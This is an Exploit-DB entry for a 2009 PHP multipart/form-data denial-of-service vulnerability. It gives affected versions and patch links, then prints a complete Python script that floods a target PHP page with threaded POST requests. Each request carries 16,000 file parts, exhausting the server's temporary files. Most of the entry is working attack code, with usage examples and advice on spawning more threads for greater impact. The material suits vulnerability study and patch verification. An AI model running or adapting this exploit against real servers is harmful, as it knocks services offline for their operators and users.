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vendor:
N/A
by:
Eren Turkay
7.5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: N/A
Affected Version From: All PHP versions before PHP 5.3.1 and unpatched 5.2.11
Affected Version To: All PHP versions before PHP 5.3.1 and unpatched 5.2.11
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows, Linux, Mac
2009

PHP Multipart Form Data Denial of Service

This exploit causes denial of service on any host that runs PHP via temporary file exhaustion. It doesn't matter whether the script handles uploads or not. If host runs PHP, it is enough to cause DoS using any PHP script it serves.

Mitigation:

Update to PHP 5.3.1. If you use 5.2.11 and can't update, apply the patch [0]: [0] http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/main/rfc1867.c?r1=272374&r2=289990&view=patch (introduce max_file_upload) [0] http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/main/main.c?r1=289214&r2=289990&view=patch (NOTE: upstream changed 100 to 20, do it so)
Source

Exploit-DB raw data:

#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Author:
#     Eren Turkay <eren .-. pardus.org.tr>, 2009/11/20
#     http://www.pardus.org.tr/eng/
#
# Credits:
#     Bogdan Calin from Acunetix
#
# Description:
#     Exploit to cause denial of service on any host that runs PHP via temporary
#     file exhaustion. It doesn't matter whether the script handles uploads or not.
#     If host runs PHP, it is enough to cause DoS using any PHP script it serves.
#
#     This is the implementation of disclosed vulnerability that was found
#     by Bogdan Calin. See: http://www.acunetix.com/blog/websecuritynews/php-multipartform-data-denial-of-service/
#
# Affected versions:
#     All PHP versions before PHP 5.3.1 and unpatched 5.2.11
#
# Platforms:
#     Windows, Linux, Mac
#
# Fix:
#     Update to 5.3.1. If you use 5.2.11 and can't update, apply the patch [0]:
#
#     [0] http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/main/rfc1867.c?r1=272374&r2=289990&view=patch (introduce max_file_upload)
#     [0] http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/main/main.c?r1=289214&r2=289990&view=patch (NOTE: upstream changed 100 to 20, do it so)
#
# Usage:
#     python php-multipart-dos.py <site> <port> </index.php> <num of child: optional>
#
#     After opening childs, you may wait long for threads to finish because sending such a huge data is painful.
#     However, it's not important to finish the request. Openining lots of connections and sending huge data fastly will enough to cause DoS.
#     So the more threads you spawn, the more impact you will make. In normal cases, spawning 150 childs would be enough. But the number depends on you.
#     Trial and error ;))
#
# Example:
#     python php-multipart-dos.py www.example.com 8080 /index.php
#
#     By defalt, the program will create 100 threads, each thread will send 10 requests.
#     You can specify child number to create, you may want to increase or decrease for the impact, etc..
#
#     python php-multipart-dos.py www.example.com 80 /~user/index.php 50
#
# Notes:
#     This script is for educational purposes only. Use it at your OWN risk!

import socket
import random
import time
import threading
import sys

class Connection:
    def __init__(self, host, port):
        self._host = host
        self._port = port
        self.sock = None

    def connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.connect((self._host, self._port))

    def send(self, msg):
        if not self.sock:
            raise "NotConnected"
        else:
            self.sock.send(msg)

    def close(self):
        self.sock.close()

class Exploit (threading.Thread):
    def __init__(self, host, port, target):
        self._host = host
        self._port = port
        self._target = target
        threading.Thread.__init__(self)

    def getBoundary(self):
        """ Return random boundary data """
        random.seed()
        rnd = random.randrange(100000, 100000000)
        data = "---------------------------%s" % rnd
        return data

    def createPayload(self):
        data = """POST %(target)s HTTP/1.1\r
Host: %(host)s\r
Uset-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)\r
Connection: keep-alive\r
Content-Type: multipart/form-data; boundary=%(boundary)s\r
Content-Length: %(length)s\r\n\r\n"""

        boundary = self.getBoundary()

        # Create a number of upload data, 16.000, yeah! :)
        for i in range(16000):
            data += "--%s\r\n" % boundary
            data += """Content-Disposition: form-data; name="file_%s"; filename="file_%s.txt"\r
Content-Type: text/plain\r\n
Lorem ipsum dolor sit amet, consectetur adipiscing elit. In non blandit augue.\n\r\n""" % (i, i)

        data += "--%s--\r\n" % boundary

        return data % {"host": self._host, "target": self._target, "boundary": boundary, "length": str(len(data))}

    def run(self):
        payload = self.createPayload()
        for i in range(0, 10):
            c = Connection(self._host, self._port)
            c.connect()
            c.send(payload)
            c.close()
            sys.exit(0)
        del payload
        sys.exit(0)

def usage():
    usage_data = """
 __^__                                                  __^__
( ___ )------------------------------------------------( ___ )
 | / |                                                  | \ |
 | / | Eren Turkay <eren .-. pardus.org.tr>, 2009/11/20 | \ |
 | / | http://www.pardus.org.tr/eng/                    | \ |
 |___|                                                  |___|
(_____)------------------------------------------------(_____)

PHP denial of service exploit via temporary file exhaustion
Usage: python php-multipart-dos.py <host> <port> </adress/index.php> <child number: optional>

See source code for more information
"""

    print usage_data

if __name__ == '__main__':
    if not len(sys.argv) >= 4:
        usage()
    else:
        # is child number passed?
        if len(sys.argv) >= 5:
            child = int(sys.argv[4])
        else:
            child = 100
        print "[+] Attack started..."
        for i in range(0, child):
            try:
                exp = Exploit(str(sys.argv[1]), int(sys.argv[2]), str(sys.argv[3]))
                exp.start()
                print "[+] Opening %s childs... [%s]\r" % (child, i+1),
                sys.stdout.flush()
                i += 1
            except KeyboardInterrupt:
                print "\n[-] Keyboard Interrupt. Exiting..."
                sys.exit(1)

        # print it so that previous "Opening childs..." is still there
        print ""
        while True:
            try:
                activeChilds = threading.activeCount()
                print "[+] Waiting for childs to finish. %d remaining...\r" % activeChilds,
                sys.stdout.flush()
                # we have one main process
                if activeChilds == 1:
                    print "\nOK!"
                    sys.exit(0)
            except KeyboardInterrupt:
                print "\n[-] Exiting without waiting!"
                sys.exit(1)